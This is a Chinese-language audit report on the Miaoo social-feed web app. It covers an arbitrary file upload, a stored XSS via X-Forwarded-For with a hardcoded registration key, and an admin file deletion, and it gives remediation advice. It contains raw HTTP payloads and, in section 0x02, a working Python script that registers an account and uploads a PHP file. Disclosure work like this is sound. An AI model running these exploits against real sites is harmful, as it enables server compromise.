Miaoo 朋友圈程序审计
字数 1363 2025-08-22 22:47:30
Miaoo 朋友圈程序安全审计报告
0x00 程序概述
Miaoo 朋友圈程序是一个具有社交功能的Web应用,主要功能包括:
- 前台一键发布图文、视频、音乐
- 发布内容支持定位或自定义位置信息
- 支持广告模式消息通知(站内或邮件)
- 用户注册和管理功能
- 丰富的后台管理功能
0x01 安全漏洞分析
1. 前台任意文件上传漏洞
漏洞文件: /api/uploadavatar.php
漏洞描述:
头像上传功能存在任意文件上传漏洞,攻击者可以上传恶意文件(如PHP webshell)到服务器。
漏洞代码分析:
$str = "../user/headimg/";
$dir = iconv("UTF-8", "GBK", strval($str));
if (!file_exists($dir)) {
mkdir($dir, 511, true);
}
$file = $_FILES["file"];
$allowedExts = ["gif", "jpeg", "jpg", "png", "webp"];
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
// 检查文件类型
if ($file["type"] == "image/jpeg" || $file["type"] == "image/png" ||
$file["type"] == "image/jpg" || $file["type"] == "image/gif" ||
$file["type"] == "image/webp" && in_array($extension, $allowedExts)) {
// 通过检查
} else {
exit("文件类型错误,请上传图片!");
}
漏洞利用条件:
- 需要普通用户权限(可注册)
- 只需绕过Content-Type检查
漏洞利用方法:
- 构造恶意请求,上传.php文件
- 伪造Content-Type为image/jpeg
- 文件内容包含PHP代码(如
<?php phpinfo();?>)
Payload示例:
POST /api/uploadavatar.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9CKBqDZadLQ1ff5J
Cookie: [有效会话cookie]
------WebKitFormBoundary9CKBqDZadLQ1ff5J
Content-Disposition: form-data; name="file"; filename="aaa.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundary9CKBqDZadLQ1ff5J--
修复建议:
- 严格检查文件扩展名和内容
- 使用白名单方式验证文件类型
- 重命名上传文件,避免直接使用用户提供的文件名
- 限制上传目录的执行权限
2. 前台存储型XSS漏洞
漏洞文件: /api/reg.php
漏洞描述:
注册功能中IP地址获取逻辑存在缺陷,攻击者可通过X-Forwarded-For头注入恶意JavaScript代码,导致存储型XSS。
漏洞代码分析:
if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]) {
$ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
} elseif ($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]) {
$ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
} elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]) {
$ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
} elseif (getenv("HTTP_X_FORWARDED_FOR")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
} elseif (getenv("HTTP_CLIENT_IP")) {
$ip = getenv("HTTP_CLIENT_IP");
} elseif (getenv("REMOTE_ADDR")) {
$ip = getenv("REMOTE_ADDR");
} else {
$ip = "Unknown";
}
注册密钥绕过:
if ($allkey != $cloudallkey) {
if ($allkey == $appintkey) {
// 通过检查
} else {
exit("秘钥错误");
}
}
固定密钥:1a8eed4f3e05c811c6b1c5550102e86f
漏洞利用方法:
- 注册时添加X-Forwarded-For头包含XSS payload
- 使用固定密钥绕过注册限制
Payload示例:
POST /api/reg.php HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: <script>alert(1234)</script>
Content-Type: application/x-www-form-urlencoded
zh=aaaaaasa&em=dasdasaaasd@qq.com&mm=dasdasd&allkey=1a8eed4f3e05c811c6b1c5550102e86f&yzm=undefined
修复建议:
- 对用户输入进行严格的HTML实体编码
- 使用CSP策略限制脚本执行
- 实现更安全的注册密钥验证机制
- 过滤HTTP头中的特殊字符
3. 后台任意文件删除漏洞
漏洞文件: /admin/rm.php
漏洞描述:
后台文件删除功能未对文件路径进行严格限制,导致攻击者可删除服务器上的任意文件。
漏洞代码分析:
$filew = addslashes(htmlspecialchars($_GET["filew"]));
if ($filew) {
if (is_file($filew)) {
$status = unlink($filew);
if ($status) {
// 删除成功
} else {
exit("文件删除失败,请重试!");
}
}
}
漏洞利用条件:
- 需要管理员权限
- 通过filew参数指定要删除的文件路径
Payload示例:
GET /admin/rm.php?filew=../robots.txt HTTP/1.1
Host: 127.0.0.1
Cookie: [管理员会话cookie]
修复建议:
- 限制可删除的文件目录范围
- 实现文件路径白名单机制
- 增加CSRF防护
- 记录文件删除操作日志
0x02 自动化利用脚本
import re
import sys
import requests
import random
url = sys.argv[1]
session = requests.session()
user = str(int(random.uniform(2222222, 9999999)))
files = {'file': ('a.php', '<?php phpinfo();?>', 'image/jpeg')}
# 注册用户
aaa = session.post(
url + "/api/reg.php",
data={
'zh': user,
'em': user + '@qq.com',
'mm': user,
'allkey': '1a8eed4f3e05c811c6b1c5550102e86f',
'yzm': 'undefined'
}
).text
if "注册成功" in aaa:
# 登录
bbb = session.post(url + '/api/login.php', data={'zh': user, 'mm': user})
# 上传webshell
ccc = session.post(url + '/api/uploadavatar.php', files=files)
print('注册成功 账号:' + user + " 密码:" + user)
if '上传成功' in ccc.text:
# 获取webshell路径
ddd = session.get(url + '/setup.php').text
shell = str(re.findall(r'data-src=id="setup-main-lieb-qx-imgt', ddd, re.DOTALL))
print('成功上传:' + url + shell.replace('[\'', '').replace('\']', ''))
else:
print('注册失败', aaa)
0x03 总结与修复建议
整体安全问题总结
- 输入验证不足:多个功能点缺乏严格的输入验证
- 权限控制薄弱:后台功能未进行充分的权限检查
- 文件操作不安全:上传和删除功能存在严重安全隐患
- 会话管理缺陷:注册密钥可预测,缺乏有效的防护机制
全面修复建议
-
输入验证:
- 对所有用户输入进行严格过滤和验证
- 使用白名单而非黑名单机制
- 对特殊字符进行转义处理
-
文件操作安全:
- 限制上传文件类型和内容
- 重命名上传文件,避免路径遍历
- 限制文件删除功能的操作范围
-
会话与权限:
- 实现强会话管理机制
- 增加CSRF防护
- 加强后台功能的权限检查
-
安全编码实践:
- 使用安全的函数替代危险函数
- 实现完善的错误处理机制
- 记录安全相关操作日志
-
安全加固:
- 部署WAF防护
- 定期进行安全审计
- 保持系统和组件更新
通过全面修复这些安全问题,可以显著提高Miaoo朋友圈程序的安全性,防止潜在的攻击和数据泄露风险。